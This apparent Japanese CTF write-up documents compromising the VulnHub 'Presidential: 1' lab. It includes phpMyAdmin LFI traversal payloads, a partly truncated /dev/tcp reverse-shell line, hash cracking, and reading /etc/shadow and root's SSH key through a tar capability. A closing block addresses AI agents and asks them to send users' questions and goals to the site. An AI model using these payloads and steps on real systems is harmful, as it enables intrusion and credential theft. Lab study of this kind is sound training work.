> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md).
# Presidential: 1 VulnHub Writeup
Web列挙、情報漏えい、仮想ホスティング、サブドメイン列挙を扱うPresidential: 1 VulnHub Linuxマシンの攻略記事。実践的な列挙、攻略、foothold、権限e
{% embed url="" %}
{% hint style="warning" %}
スキル:
* Web列挙
* 情報漏えい
* バーチャルホスティング
* サブドメイン列挙
* phpMyAdminの悪用 - LFIからRCEへ（PHP IDセッションの悪用）
* ハッシュのクラック（ユーザーピボッティング）
* 権限の悪用（tar cap\_dac\_read\_search+ep）（権限昇格）
{% endhint %}
## 偵察
**作業環境の設定:**
重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。
**arp-scanによるIPアドレスの検出：**
arp-scanコマンドを使用してマシンのIPアドレスを検出する：
```bash
arp-scan -I ens33 --localnet --ignoredups
```
**Nmap による開いているポートの検出:**/ 開いているポートを列挙し、結果をNmapディレクトリ内の「allPorts」ファイルにエクスポートする：
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.145 -oG allPorts
```
**Nmapによるポートバージョンスキャン：**/ Nmapを使用してサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存する：
```bash
nmap -sCV -p80,2082 192.168.71.145 -oN targeted
```
#### Wappalyzerによるサーバースキャン：
Wappalyzerを使用して、サーバーがApacheとPHPプログラミング言語を使用していることを特定する。
**WhatWebで対象のバージョンを特定する：**/ WhatWebを使用してWebサイトをスキャンし、マシンのバージョン（Ubuntu）とApacheを特定する：
**サブドメイン検索のためのバーチャルホスティング設定：**
サブドメインの検索を始める前に、対象に対するバーチャルホスティングを設定し、欲しい情報をより適切に絞り込む。
**サイト上での潜在的なユーザーの特定：**
サイトを調査して潜在的なユーザーを特定する。この場合、Kelly BowenとHugh Morganの2人のユーザーが注目対象として特定される。
**Gobusterでディレクトリを検索**
ディレクトリ一覧を使ってGobusterを実行し、隠されたアクセスパスを見つける。3つのディレクトリを特定し、そのうち1つの「cgi-bin」には脆弱性へのリスクがある可能性がある [shellshock](/ja/web-vulnerabilities/shellshock-attack.md) 攻撃。
```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash
```
**PHP拡張子のファイルを検索**
Gobusterを使用してPHP拡張子の特定のファイル検索を行い、関連ファイルを見つける。「config.php」ファイルを発見するが、解釈しても目に見える情報は何も表示されない。
```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash -x php
```
**バックアップファイルを検索（bak拡張子）**
引き続き、拡張子「.bak」のバックアップファイルを特に対象にして検索する。機密情報を含んでいる可能性のある関連ファイルを見つける。
**データベース認証情報を取得する：**
「.bak」バックアップファイルから抽出した情報を使ってデータベースの認証情報を取得する。
**SSH接続の試行：**
SSHで取得した認証情報を使って接続を試みる。秘密鍵がないため失敗する。
**SSH上で「votebox」ユーザーの有効性を確認する**
SSHの古いバージョンのため、ユーザー「votebox」がシステムの有効なユーザーかどうか確認する。
**Gobusterで検出されたサブドメイン**
サブドメイン一覧を使ってGobusterを実行し、可能性のあるサブドメインを探索する。ただし、この試行では成果は得られない。
```bash
gobuster vhost -u http://votenow.local/ -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 | grep -v "400"
```
**別の辞書を使ったサブドメインの代替検索：**
別のディレクトリ辞書を使用してサブドメイン検索を繰り返す。
#### 先に見つかった「.bak」ファイルから自分自身を特定する。
**phpMyAdminにおけるNCE脆弱性の特定**
phpMyAdminのバージョンに脆弱性（4.8.1）があることを発見した後、SearchExploitツールを使って対応するエクスプロイトを探し、 [RCE ](/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md)（リモートコード実行）脆弱性を特定する。
## RCE脆弱性：
以下のスクリプトをURLに挿入してファイル「/etc/passwd」を読み取ることで、NCE脆弱性を利用する：
```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```
**adminユーザーのSSH秘密鍵の復旧試行**
以下のURLを使って「admin」ユーザーのSSH秘密鍵にアクセスしようとするが、エラーに遭遇する：
```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```
**プライベートネットワークの内部ポートの探索**
次のURLを使って、/proc/net/tcpファイルからサーバーの内部ポートを一覧表示する：
```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```
後続の解析のため、これらのポートをデータファイルに保存する。
```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```
**phpMyAdminセッションを含むディレクトリの特定**
スクリプトを調べて、phpMyAdminのセッションを含むディレクトリを特定する：
```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```
## phpMyAdminの脆弱性（コマンドインジェクション）
**コマンドインジェクションのためにphpMyAdminのセッションCookieを使用する**
```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```
#### このファイルはすべてのクエリコマンドを解釈する。
```sql
SELECT 'testing';
```
**取得するためのSQLコマンドインジェクション** [**リバースシェル**](https://www.revshells.com/)**:**
```sql
select '& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```
/*/* ついにマシンへのアクセスを獲得：/*/*
#### 権限昇格のための端末の安定化：
```bash
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```
#### **/home/adminへのアクセス制限とハッシュ化されたパスワードの発見：**
/home/adminへのアクセス制限を確認し、認証済みアクセスが必要であることが分かる。phpMyAdminでは、ハッシュ化されたパスワードを持つユーザー「admin」が確認でき、ファイルシステムにアクセスするにはパスワードの解読が必要であることを示している。
## パスワードのブルートフォースクラック：
ハッシュ化されたパスワードを含む「hash」ファイルを作成し、John the Ripperを使ってパスワードリスト（この例ではrockyou.txt）で破れるか試す：
```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```
**表示されたパスワード**
```bash
john --show hash
```
#### **に切り替える `admin` ユーザー**
adminユーザーの解読済みパスワードを使用し、管理者としてシステムに接続する
## 権限昇格（Capabilities）
```bash
getcap -r / 2>/dev/null
```
を使用する `getcap` コマンドを使ってシステムのcapabilityを調査する。システム内のすべてのドキュメントを一覧表示できる権限を特定する。
/*/* /etc/shadowファイルをtarで取得する/*/*
/tmpディレクトリにフォルダを作成し、次のコマンドで/etc/shadowファイルを含める：
```bash
tarS -cvf shadow.tar /etc/shadow
```
/tmpディレクトリでアーカイブを展開する。作成者として、/etc/shadowの内容を閲覧できるよう権限を変更する。
```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```
**tarによる.ssh秘密鍵の取得**
以下のコマンドでrootユーザーの.ssh秘密鍵を取得する：
```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```
**取得した秘密鍵によるSSH接続：**
取得した秘密鍵を使って、ローカルマシン上のrootユーザーへSSH接続を確立する。
```bash
ssh -i id_rsa root@localhost -p 2082
```
**フラグを取得しました :)**
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)